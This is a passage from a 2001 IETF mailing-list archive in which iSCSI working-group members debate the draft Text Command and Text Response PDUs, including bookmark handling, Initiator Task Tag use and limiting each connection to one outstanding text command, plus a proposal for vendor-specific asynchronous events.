are going to use bookmarks, I would at least like to see only one outstanding text command at a time, regardless of what we do with the ITT. I really don't see any difference between looking up an ITT or just looking at some value in a connection structure; I'll have the latter anyway. I don't see the difficulty. Anyway, leaving ITT in does not hurt anything in the target, if we can at least change the SHOULD to MUST, the target can do the lookup either way. If we simply have to have a way for a special implementation to do multiple outstanding text commands, we could say: An initiator SHOULD have only one outstanding command on a connection at any given time. A target receiving a text command while another text command is in progress on the same connection MAY reject either or both commands. Standard implementations would then have only one outstanding command at a time; vendor-specific implementations could have multiples if they wish (providing that both initiator and target support them). -- Mark Julian Satran wrote: > > Mark, > > I gave it some tought. Relating it to the connection and task makes for a > more difficult implementation. > You have to make available structures per connection and you can never then > relax the one-text-command per connection (now it is only a resource > statement more than a logical constraint). > > The ITT allegiance is simple and it lets you store the local bookmark in a > data structure that will time-out. > I assume that a simple implementation will have one such > structure/initiator. > > Regards, > Julo > > Mark Bakke @cisco.com on 05-09-2001 18:29:49 > > Please respond to Mark Bakke > > Sent by: mbakke@cisco.com > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iSCSI - bookmarks change > > Julian- > > This is getting a lot simpler. We can go even further by turning > the SHOULD below into a MUST. > > If we say: > > A connection MUST have only one outstanding text command at > any given time. > > This means that the bookmark flag references the connection on > which the text command is done, and makes the Initiator Task > Tag unnecessary in both the text command and response. We can > turn these into reserve fields, and reference the connection > instead of the ITT when discussing bookmarked commands. > > -- > Mark > > Julian Satran wrote: > > > > Now that text commands are out of login (and we don't have to care too > much > > about the immediate version) we can rationalize the bookmarks. > > > > Here is my suggestion for the new text request/response: > > > > 1.1 Text Command > > > > The Text Command is provided to allow the exchange of information and > > for future extensions. It permits the initiator to inform a target of > > its capabilities or to request some special operations. > > > > A connection SHOULD have only one outstanding text command at any > given > > time. > > > > Byte / 0 | 1 | 2 | 3 | > > / | | | | > > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > > +---------------+---------------+---------------+---------------+ > > 0|X|I| 0x04 |F|B| Rsvd | Reserved | > > +---------------+---------------+---------------+---------------+ > > 4| Reserved | DataSegmentLength | > > +---------------+---------------+---------------+---------------+ > > 8| Reserved | > > + + > > 12| | > > +---------------+---------------+---------------+---------------+ > > 16| Initiator Task Tag | > > +---------------+---------------+---------------+---------------+ > > 20| Reserved | > > +---------------+---------------+---------------+---------------+ > > 24| CmdSN | > > +---------------+---------------+---------------+---------------+ > > 28| ExpStatSN | > > +---------------+---------------+---------------+---------------+ > > 32/ Reserved / > > +/ / > > +---------------+---------------+---------------+---------------+ > > 48| Digests if any... | > > +---------------+---------------+---------------+---------------+ > > / DataSegment (Text) / > > +/ / > > +---------------+---------------+---------------+---------------+ > > > > 1.1.1 F (Final) Bit > > > > When set to 1 it indicates that this is the last or only text command > in > > a sequence of commands; otherwise it indicates that more commands will > > follow. > > > > 1.1.2 I - Immediate > > > > During the Login Phase (the current stage part of CNxSG is either > > SecurityNegotiation or LoginOperationalNegotiation), the Text command > > SHOULD be issued as an immediate command (I=1). > > > > 1.1.3 B - bookmark bit > > > > The bookmark bit set to 1 tells the target to continue from its last > > bookmark for the specific Initiator Task Tag and thus allows a target > to > > transfer a large amount of textual data over a sequence of > > text-command/text-response exchanges. > > > > The bookmark bit set to 0 tells the target that this is a new Text > > request; the target should reset any bookmark it holds on the specific > > Initiator Task Tag. > > > > A target MAY reject an old Bookmark. > > > > Bookmark generation at target is detailed in 2.11.2. > > > > Long text responses are handled as in the following example: > > > > I->T Text SendTargets=all (F=1,B=0) > > T->I Text (F=0,B=1) > > I->T Text (F=1,B=1) > > T->I Text (F=0,B=1) > > I->T Text (F=1,B=1) > > ... > > T->I Text (F=1,B=0) > > > > 1.1.4 Initiator Task Tag > > > > The initiator assigned identifier for this Text Command. > > If the command is sent as part of a sequence of commands (e.g., the > > Login Phase or a sequence of Text commands) the Initiator Task Tag > MUST > > be the same for all the commands within the sequence (similar to > linked > > SCSI commands). > > > > 1.1.5 Text > > > > The initiator sends the target a set of key=value or key=list pairs > > encoded in UTF-8 Unicode. All the text keys and text values specified > in > > this document are to be presented and interpreted in the case they > > appear in this document (they are case sensitive). The key and value > are > > separated by a '=' (0x3d) delimiter. Every key=value pair (including > the > > last or only pair) MUST be followed by null (0x00) delimiter. A list > is > > a set of values separated by comma (0x2c). Large binary items can be > > encoded using their hexadecimal representation (e.g., 8190 is 0x1ffe) > or > > decimal representation. The maximum length of an individual value (not > > its string representation) is 255 bytes. > > > > The data lengths of a text command or response MUST NOT exceed 4096 > > bytes. Key names MUST NOT exceed 63 bytes. Key values MUST NOT exceed > > 255 bytes. > > > > Character strings are represented as plain text. Numeric and binary > > values are represented using either decimal numbers or the hexadecimal > > 0xffff notation. Upper and lower case letters may be used > > interchangeably in hexadecimal notation (i.e., 0x1aBc, 0x1AbC and > 0x1ABC > > are equivalent). > > > > The target responds by sending its response back to the initiator. The > > response text format is similar to the request text format. > > > > Some basic key=value pairs are described in Appendix A and Appendix D. > > All keys in Appendix D, except for the X- extension format, MUST be > > supported by iSCSI initiators and targets. Keys in Appendix A MUST be > > supported only when the function they refer to is mandatory to > > implement. > > > > Manufacturers may introduce new keys by prefixing them with X- > followed > > by their (reversed) domain name, for example the company owning the > > domain acme.com can issue: > > > > X-com.acme.bar.foo.do_something=0000000000000003 > > > > Any other key not understood by the target may be ignored by the > target > > without affecting basic function. However the Text Response for a key > > that was not understood MUST be key=NotUnderstood. > > > > Text operations are usually meant for parameter setting/negotiations > but > > can be used also to perform some long lasting operations. > > > > Text operations that will take a long time should be placed in their > own > > Text command. > > > > 1.2 > > > > Text Response > > > > The Text Response PDU contains the target's responses to the > initiator's > > Text Command. The format of the Text field matches that of the Text > > Command. > > > > Byte / 0 | 1 | 2 | 3 | > > / | | | | > > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > > +---------------+---------------+---------------+---------------+ > > 0|1|1| 0x24 |F|B| Rsvd | Reserved | > > +---------------+---------------+---------------+---------------+ > > 4| Reserved | DataSegmentLength | > > +---------------+---------------+---------------+---------------+ > > 8| Reserved | > > + + > > 12| | > > +---------------+---------------+---------------+---------------+ > > 16| Initiator Task Tag | > > +---------------+---------------+---------------+---------------+ > > 20| Reserved | > > +---------------+---------------+---------------+---------------+ > > 24| StatSN | > > +---------------+---------------+---------------+---------------+ > > 28| ExpCmdSN | > > +---------------+---------------+---------------+---------------+ > > 32| MaxCmdSN | > > +---------------+---------------+---------------+---------------+ > > 36/ Reserved / > > +/ / > > +---------------+---------------+---------------+---------------+ > > 48| Digests if any... | > > +---------------+---------------+---------------+---------------+ > > / DataSegment (Text) / > > +/ / > > +---------------+---------------+---------------+---------------+ > > > > 1.2.1 F (Final) Bit > > > > When set to 1 in response to a text command with the Final bit set to > 1 > > the F bit indicates that the target has finished the current stage of > > the operation or the whole operation. Otherwise if set to 0 in > response > > to a text command with the Final Bit set to 1 it indicates that the > > target has more work to do (invites a follow-on text command). A text > > response with the F bit set to 1 in response to a text command with > the > > F bit set to 0 is a protocol error. > > > > A text response with a F bit set to 1 MUST NOT contain key=value pairs > > that may require additional answers from the initiator. > > > > 1.2.2 B - bookmark Bit > > > > Whenever a target can't transfer all the remaining text data in a > single > > Text response, it attempts to set an internal bookmark. If successful, > > the target associates the bookmark with the Initiator Task Tag. The > > target indicates that it holds a bookmark for the specific Initiator > > Task Tag by setting the bookmark (B) bit to 1 in the Text response. > The > > target resets the internal bookmark associated with a given Initiator > > Task Tag if it receives a Text request with the specified Initiator > Task > > Tag with the bookmark bit set to 0. When a target can't transfer all > > the text data in a single text response and it cannot set an internal > > bookmark it rejects the Text request with an appropriate Reject code. > A > > target may reset its internal bookmark(s) after some time in order to > > reclaim resources associated with the bookmark and reject subsequent > > Text requests with the bookmark bit set to 1. > > > > When all the text data fit in a single Text response the bookmark bit > of > > the response is set to 0 and the bookmark associated with the > Initiator > > Task Tag is reset. > > > > 1.2.3 Initiator Task Tag > > > > The Initiator Task Tag matches the tag used in the initial Text > Command > > or the Login Initiator Task Tag. > > > > 1.2.4 Text Response Data > > > > The Text Response Data Segment contains responses in the same > key=value > > format as the Text Command and with the same length and coding > > constraints. Appendix A and Appendix D lists some basic Text Commands > > and their Responses. > > > > Although the initiator is the requesting party and controls the > > request-response initiation and termination the target can offer > > key=value pairs of its own as part of a sequence and not only in > > response to an identical key=value pair offered by the initiator. > > > > A Key=value pair must be confined to a given text response even in the > > presence of bookmark - i.e., it must start and end within one Text > > Response. > > > > The Reject Reasons table looks like: > > > > 1.1.1 Reason > > > > The reject Reason is coded as follows: > > > > +------+-----------------------------------------+------------------+ > > | Code | Explanation | Can the original | > > | (hex)| | PDU be re-sent? | > > +------+-----------------------------------------+------------------+ > > | 0x01 | Format Error | no | > > | | | | > > | 0x02 | Data (payload) Digest Error | yes (Note 1) | > > | | | | > > | 0x03 | Data-SNACK Reject | yes | > > | | | | > > | 0x04 | Protocol Error (e.g., SNACK request for | no | > > | | a status that was already acknowledged) | | > > | | | | > > | 0x05 | Command not supported in this session | no | > > | | type | | > > | | | | > > | 0x06 | Immediate Command Reject - too many | yes | > > | | immediate commands | | > > | | | | > > | 0x07 | Bookmark Reject - No bookmark for this | no | > > | | Initiator Task Tag | | > > | | | | > > | 0x08 | Bookmark Reject - Can't generate | yes | > > | | bookmark - out of resources | | > > | | | | > > | 0x0f | Full Feature Phase Command before login | no | > > +------+-----------------------------------------+------------------+ > > > > Comments? > > > > Julo > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Wed Sep 5 17:24:20 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA22706 for ; Wed, 5 Sep 2001 17:24:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85K6Ct05748 for ips-outgoing; Wed, 5 Sep 2001 16:06:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85K6AP05740 for ; Wed, 5 Sep 2001 16:06:10 -0400 (EDT) Received: from cisco.com (mbakke@mbakke-lnx.cisco.com [161.44.68.87]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id QAA22253 for ; Wed, 5 Sep 2001 16:06:05 -0400 (EDT) Message-ID: <3B9683EC.99261485@cisco.com> Date: Wed, 05 Sep 2001 14:58:36 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: IPS Subject: iSCSI: Async events and text Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Kaladhar had asked this question a while ago; I don't think a thread was started on it, though. iSCSI has defined the text message mechanism to allow initiators to send in-band commands outside of SCSI itself (e.g. SendTargets) to targets. This mechanism also allows experimental and vendor- specific functions to be implemented without breaking the rest of the protocol; if a text key is not recognized by one side or the other, it is dropped. The Asynchronous Message also defines a mechanism to allow targets to send in-band, iSCSI-level messages to initiators; these are indicated with the iSCSI Event code, and are used to communicate the target's wishes that the initiator would log out, or similar issues. We have discussed on the list the ability to add other things to async messages, such as the ability to communicate on a discovery session that there are new iSCSI targets, and that a new SendTargets command should be sent. We never did decide as a group to add such a feature, but I think there was some talk about allowing something vendor-specific for this type of thing. Anyway, I was taking another look at async messages, and it appears that for an iSCSI event, the data portion of the PDU could be used for vendor-specific text keys and values, but there is no way to tell the initiator to look at these. If we want to do such a thing, we could handle it in three ways: 1. Have the initiator and target use vendor-specific keys during the login phase to pre-negotiate the use of a special iSCSI event, and simply send whatever they want for the iSCSI event. This would ensure that an initiator will never receive unwanted events, but it also means that vendors may define their own uses for the iSCSI Event codes or other PDU header fields, which might conflict with future additions to the standard protocol. 2. Add an iSCSI Event "5 - Text event"; this would be a standard event, which would include text keys and values in the data portion of the PDU. This removes conflicts with future versions, and the spec could still require that an initator and target negotiate the use of these events, to avoid an unsuspecting initiator from receiving them. 3. Change all of the iSCSI events to use text key/value pairs, including the ones already defined. This would change the way the events are sent now, would add some overhead to the message, and some additional processing of the text fields (vs. the binary fields used now). However, it would allow vendor-specific keys in any async event message, and would be more in line with the way the other iSCSI-level mechanisms (login and text) work. I'm not particularly attached to any of the above methods, but I would like to see a way that a vendor could add a new async event. Any thoughts? -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Wed Sep 5 17:29:20 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA22807 for ; Wed, 5 Sep 2001 17:29:18 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85KBRi06084 for ips-outgoing; Wed, 5 Sep 2001 16:11:27 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85KBQP06076 for ; Wed, 5 Sep 2001 16:11:26 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Wed, 5 Sep 2001 16:11:20 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD6E7@CORPMX14> From: Black_David@emc.com To: mbakke@cisco.com, Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI - bookmarks change Date: Wed, 5 Sep 2001 16:04:46 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > If we simply have to have a way for a special implementation > to do multiple outstanding text commands, we could say: > > An initiator SHOULD have only one outstanding command on > a connection at any given time. > > A target receiving a text command while another text command > is in progress on the same connection MAY reject either or > both commands. > > Standard implementations would then have only one outstanding > command at a time; vendor-specific implementations could have > multiples if they wish (providing that both initiator and target > support them). Sorry to butt in on this, but ... That sort of compromise leads to interoperability problems. Either support for multiple outstanding commands is REQUIRED, or there is REQUIRED behavior when an implementation does this *and the Target detects it* (it's possible to overlap commands in a fashion that the target won't detect), or support for overlapping commands is negotiated on login leading to one of the previous two possibilities. The quoted text is in invitation to mismatched assumptions between Initiator and Target and resulting interoperability difficulties - the truly dangerous piece of Mark's text is the unpredictable ability to reject a new command based on existence of an old one, as it's entirely plausible to create a situation in which no forward progress is possible. I think Mark's original suggestion of turning the SHOULD into a MUST (only one outstanding Text Command on a connection) is the better course of action, possibly with an additional sentence requiring Task Abort to work on Text commands (i.e., to abort a text command that's using bookmarks, fire a Task Abort at it, after that succeeds, the next Text command will also). A target that receives a text command in the presence of an outstanding one then rejects the second as a protocol error. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Wed Sep 5 17:38:22 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA23000 for ; Wed, 5 Sep 2001 17:38:21 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85K9Z005961 for ips-outgoing; Wed, 5 Sep 2001 16:09:35 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85K9XP05956 for ; Wed, 5 Sep 2001 16:09:33 -0400 (EDT) Received: from cisco.com (mbakke@mbakke-lnx.cisco.com [161.44.68.87]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id QAA26867; Wed, 5 Sep 2001 16:09:15 -0400 (EDT) Message-ID: <3B9684AA.F7F414CC@cisco.com> Date: Wed, 05 Sep 2001 15:01:46 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Rod Harrison CC: ips@ece.cmu.edu Subject: Re: iSCSI - bookmarks change References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Rod- I like this solution; the intiator would still send a valid ITT, but with one text command per connection, the target could use either the ITT or the connection itself to find the bookmark, whichever was more convenient. Is there anyone out there that still wants more than one outstanding text command on a connection? -- Mark Rod Harrison wrote: > > Mark, > > If we do this it will require the initiator to do some > special case handling of text responses. The Initiator Task > Tag is the initiators only way of finding its data > structures pertaining to the command, removing it will > require the initiator to "know" about the location of the > text command. This in itself is not terribly difficult, but > it is a special case. I would prefer we leave the ITT where > it is and allow initiators to use a common method for > decoding responses. We can still mandate only one text > command per connection. > > - Rod > > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On > Behalf Of > Mark Bakke > Sent: Wednesday, September 05, 2001 4:30 PM > To: Julian Satran > Cc: ips@ece.cmu.edu > Subject: Re: iSCSI - bookmarks change > > Julian- > > This is getting a lot simpler. We can go even further by > turning > the SHOULD below into a MUST. > > If we say: > > A connection MUST have only one outstanding text command > at > any given time. > > This means that the bookmark flag references the connection > on > which the text command is done, and makes the Initiator Task > Tag unnecessary in both the text command and response. We > can > turn these into reserve fields, and reference the connection > instead of the ITT when discussing bookmarked commands. > > -- > Mark > > Julian Satran wrote: > > > > Now that text commands are out of login (and we don't have > to care too much > > about the immediate version) we can rationalize the > bookmarks. > > > > Here is my suggestion for the new text request/response: > > > > 1.1 Text Command > > > > The Text Command is provided to allow the exchange of > information and > > for future extensions. It permits the initiator to > inform a target of > > its capabilities or to request some special operations. > > > > A connection SHOULD have only one outstanding text > command at any given > > time. > > > > Byte / 0 | 1 | 2 | > 3 | > > / | | | > | > > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 > 5 4 3 2 1 0| > > > +---------------+---------------+---------------+----------- > ----+ > > 0|X|I| 0x04 |F|B| Rsvd | Reserved > | > > > +---------------+---------------+---------------+----------- > ----+ > > 4| Reserved | DataSegmentLength > | > > > +---------------+---------------+---------------+----------- > ----+ > > 8| Reserved > | > > + > + > > 12| > | > > > +---------------+---------------+---------------+----------- > ----+ > > 16| Initiator Task Tag > | > > > +---------------+---------------+---------------+----------- > ----+ > > 20| Reserved > | > > > +---------------+---------------+---------------+----------- > ----+ > > 24| CmdSN > | > > > +---------------+---------------+---------------+----------- > ----+ > > 28| ExpStatSN > | > > > +---------------+---------------+---------------+----------- > ----+ > > 32/ Reserved > / > > +/ > / > > > +---------------+---------------+---------------+----------- > ----+ > > 48| Digests if any... > | > > > +---------------+---------------+---------------+----------- > ----+ > > / DataSegment (Text) > / > > +/ > / > > > +---------------+---------------+---------------+----------- > ----+ > > > > 1.1.1 F (Final) Bit > > > > When set to 1 it indicates that this is the last or > only text command in > > a sequence of commands; otherwise it indicates that > more commands will > > follow. > > > > 1.1.2 I - Immediate > > > > During the Login Phase (the current stage part of CNxSG > is either > > SecurityNegotiation or LoginOperationalNegotiation), > the Text command > > SHOULD be issued as an immediate command (I=1). > > > > 1.1.3 B - bookmark bit > > > > The bookmark bit set to 1 tells the target to continue > from its last > > bookmark for the specific Initiator Task Tag and thus > allows a target to > > transfer a large amount of textual data over a sequence > of > > text-command/text-response exchanges. > > > > The bookmark bit set to 0 tells the target that this is > a new Text > > request; the target should reset any bookmark it holds > on the specific > > Initiator Task Tag. > > > > A target MAY reject an old Bookmark. > > > > Bookmark generation at target is detailed in 2.11.2. > > > > Long text responses are handled as in the following > example: > > > > I->T Text SendTargets=all (F=1,B=0) > > T->I Text (F=0,B=1) > > I->T Text (F=1,B=1) > > T->I Text (F=0,B=1) > > I->T Text (F=1,B=1) > > ... > > T->I Text (F=1,B=0) > > > > 1.1.4 Initiator Task Tag > > > > The initiator assigned identifier for this Text > Command. > > If the command is sent as part of a sequence of > commands (e.g., the > > Login Phase or a sequence of Text commands) the > Initiator Task Tag MUST > > be the same for all the commands within the sequence > (similar to linked > > SCSI commands). > > > > 1.1.5 Text > > > > The initiator sends the target a set of key=value or > key=list pairs > > encoded in UTF-8 Unicode. All the text keys and text > values specified in > > this document are to be presented and interpreted in > the case they > > appear in this document (they are case sensitive). The > key and value are > > separated by a '=' (0x3d) delimiter. Every key=value > pair (including the > > last or only pair) MUST be followed by null (0x00) > delimiter. A list is > > a set of values separated by comma (0x2c). Large binary > items can be > > encoded using their hexadecimal representation (e.g., > 8190 is 0x1ffe) or > > decimal representation. The maximum length of an > individual value (not > > its string representation) is 255 bytes. > > > > The data lengths of a text command or response MUST NOT > exceed 4096 > > bytes. Key names MUST NOT exceed 63 bytes. Key values > MUST NOT exceed > > 255 bytes. > > > > Character strings are represented as plain text. > Numeric and binary > > values are represented using either decimal numbers or > the hexadecimal > > 0xffff notation. Upper and lower case letters may be > used > > interchangeably in hexadecimal notation (i.e., 0x1aBc, > 0x1AbC and 0x1ABC > > are equivalent). > > > > The target responds by sending its response back to the > initiator. The > > response text format is similar to the request text > format. > > > > Some basic key=value pairs are described in Appendix A > and Appendix D. > > All keys in Appendix D, except for the X- extension > format, MUST be > > supported by iSCSI initiators and targets. Keys in > Appendix A MUST be > > supported only when the function they refer to is > mandatory to > > implement. > > > > Manufacturers may introduce new keys by prefixing them > with X- followed > > by their (reversed) domain name, for example the > company owning the > > domain acme.com can issue: > > > > X-com.acme.bar.foo.do_something=0000000000000003 > > > > Any other key not understood by the target may be > ignored by the target > > without affecting basic function. However the Text > Response for a key > > that was not understood MUST be key=NotUnderstood. > > > > Text operations are usually meant for parameter > setting/negotiations but > > can be used also to perform some long lasting > operations. > > > > Text operations that will take a long time should be > placed in their own > > Text command. > > > > 1.2 > > > > Text Response > > > > The Text Response PDU contains the target's responses > to the initiator's > > Text Command. The format of the Text field matches that > of the Text > > Command. > > > > Byte / 0 | 1 | 2 | > 3 | > > / | | | > | > > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 > 5 4 3 2 1 0| > > > +---------------+---------------+---------------+----------- > ----+ > > 0|1|1| 0x24 |F|B| Rsvd | Reserved > | > > > +---------------+---------------+---------------+----------- > ----+ > > 4| Reserved | DataSegmentLength > | > > > +---------------+---------------+---------------+----------- > ----+ > > 8| Reserved > | > > + > + > > 12| > | > > > +---------------+---------------+---------------+----------- > ----+ > > 16| Initiator Task Tag > | > > > +---------------+---------------+---------------+----------- > ----+ > > 20| Reserved > | > > > +---------------+---------------+---------------+----------- > ----+ > > 24| StatSN > | > > > +---------------+---------------+---------------+----------- > ----+ > > 28| ExpCmdSN > | > > > +---------------+---------------+---------------+----------- > ----+ > > 32| MaxCmdSN > | > > > +---------------+---------------+---------------+----------- > ----+ > > 36/ Reserved > / > > +/ > / > > > +---------------+---------------+---------------+----------- > ----+ > > 48| Digests if any... > | > > > +---------------+---------------+---------------+----------- > ----+ > > / DataSegment (Text) > / > > +/ > / > > > +---------------+---------------+---------------+----------- > ----+ > > > > 1.2.1 F (Final) Bit > > > > When set to 1 in response to a text command with the > Final bit set to 1 > > the F bit indicates that the target has finished the > current stage of > > the operation or the whole operation. Otherwise if set > to 0 in response > > to a text command with the Final Bit set to 1 it > indicates that the > > target has more work to do (invites a follow-on text > command). A text > > response with the F bit set to 1 in response to a text > command with the > > F bit set to 0 is a protocol error. > > > > A text response with a F bit set to 1 MUST NOT contain > key=value pairs > > that may require additional answers from the initiator. > > > > 1.2.2 B - bookmark Bit > > > > Whenever a target can't transfer all the remaining text > data in a single > > Text response, it attempts to set an internal bookmark. > If successful, > > the target associates the bookmark with the Initiator > Task Tag. The > > target indicates that it holds a bookmark for the > specific Initiator > > Task Tag by setting the bookmark (B) bit to 1 in the > Text response. The > > target resets the internal bookmark associated with a > given Initiator > > Task Tag if it receives a Text request with the > specified Initiator Task > > Tag with the bookmark bit set to 0. When a target > can't transfer all > > the text data in a single text response and it cannot > set an internal > > bookmark it rejects the Text request with an > appropriate Reject code. A > > target may reset its internal bookmark(s) after some > time in order to > > reclaim resources associated with the bookmark and > reject subsequent > > Text requests with the bookmark bit set to 1. > > > > When all the text data fit in a single Text response > the bookmark bit of > > the response is set to 0 and the bookmark associated > with the Initiator > > Task Tag is reset. > > > > 1.2.3 Initiator Task Tag > > > > The Initiator Task Tag matches the tag used in the > initial Text Command > > or the Login Initiator Task Tag. > > > > 1.2.4 Text Response Data > > > > The Text Response Data Segment contains responses in > the same key=value > > format as the Text Command and with the same length and > coding > > constraints. Appendix A and Appendix D lists some basic > Text Commands > > and their Responses. > > > > Although the initiator is the requesting party and > controls the > > request-response initiation and termination the target > can offer > > key=value pairs of its own as part of a sequence and > not only in > > response to an identical key=value pair offered by the > initiator. > > > > A Key=value pair must be confined to a given text > response even in the > > presence of bookmark - i.e., it must start and end > within one Text > > Response. > > > > The Reject Reasons table looks like: > > > > 1.1.1 Reason > > > > The reject Reason is coded as follows: > > > > > +------+-----------------------------------------+---------- > --------+ > > | Code | Explanation | Can > the original | > > | (hex)| | PDU > be re-sent? | > > > +------+-----------------------------------------+---------- > --------+ > > | 0x01 | Format Error | no > | > > | | | > | > > | 0x02 | Data (payload) Digest Error | yes > (Note 1) | > > | | | > | > > | 0x03 | Data-SNACK Reject | yes > | > > | | | > | > > | 0x04 | Protocol Error (e.g., SNACK request for | no > | > > | | a status that was already acknowledged) | > | > > | | | > | > > | 0x05 | Command not supported in this session | no > | > > | | type | > | > > | | | > | > > | 0x06 | Immediate Command Reject - too many | yes > | > > | | immediate commands | > | > > | | | > | > > | 0x07 | Bookmark Reject - No bookmark for this | no > | > > | | Initiator Task Tag | > | > > | | | > | > > | 0x08 | Bookmark Reject - Can't generate | yes > | > > | | bookmark - out of resources | > | > > | | | > | > > | 0x0f | Full Feature Phase Command before login | no > | > > > +------+-----------------------------------------+---------- > --------+ > > > > Comments? > > > > Julo > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Wed Sep 5 18:32:21 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA23859 for ; Wed, 5 Sep 2001 18:32:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f85Kk2W08386 for ips-outgoing; Wed, 5 Sep 2001 16:46:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f85Kk0P08382 for ; Wed, 5 Sep 2001 16:46:00 -0400 (EDT) Received: from cisco.com (mbakke@mbakke-lnx.cisco.com [161.44.68.87]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id QAA20356; Wed, 5 Sep 2001 16:45:46 -0400 (EDT) Message-ID: <3B968D39.66AC9B48@cisco.com> Date: Wed, 05 Sep 2001 15:38:17 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Black_David@emc.com CC: Julian_Satran@il.ibm.com, ips@ece.cmu.edu Subject: Re: iSCSI - bookmarks change References: <277DD60FB639D511AC0400B0D068B71ECAD6E7@CORPMX14> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit David- Thanks; that was the kind of response I was hoping for. A few more comments below. Black_David@emc.com wrote: > > > If we simply have to have a way for a special implementation > > to do multiple outstanding text commands, we could say: > > > > An initiator SHOULD have only one outstanding command on > > a connection at any given time. > > > > A target receiving a text command while another text command > > is in progress on the same connection MAY reject either or > > both commands. > > > > Standard implementations would then have only one outstanding > > command at a time; vendor-specific implementations could have > > multiples if they wish (providing that both initiator and target > > support them). > > Sorry to butt in on this, but ... > > That sort of compromise leads to interoperability problems. > Either support for multiple outstanding commands is REQUIRED, > or there is REQUIRED behavior when an implementation does > this *and the Target detects it* (it's possible to overlap > commands in a fashion that the target won't detect), or > support for overlapping commands is negotiated on login > leading to one of the previous two possibilities. > > The quoted text is in invitation to mismatched assumptions > between Initiator and Target and resulting interoperability > difficulties - the truly dangerous piece of Mark's text is > the unpredictable ability to reject a new command > based on existence of an old one, as it's entirely plausible > to create a situation in which no forward progress is possible. The text I sent would be dangerous; that was part of the point of sending it. If we wanted to keep the SHOULD, we would also have to add the "MAY reject" stuff to cover the target side. To really make this work, everyone either has to support multiple outstanding commands or not. > I think Mark's original suggestion of turning the SHOULD into > a MUST (only one outstanding Text Command on a connection) is This is what I would prefer as well. > the 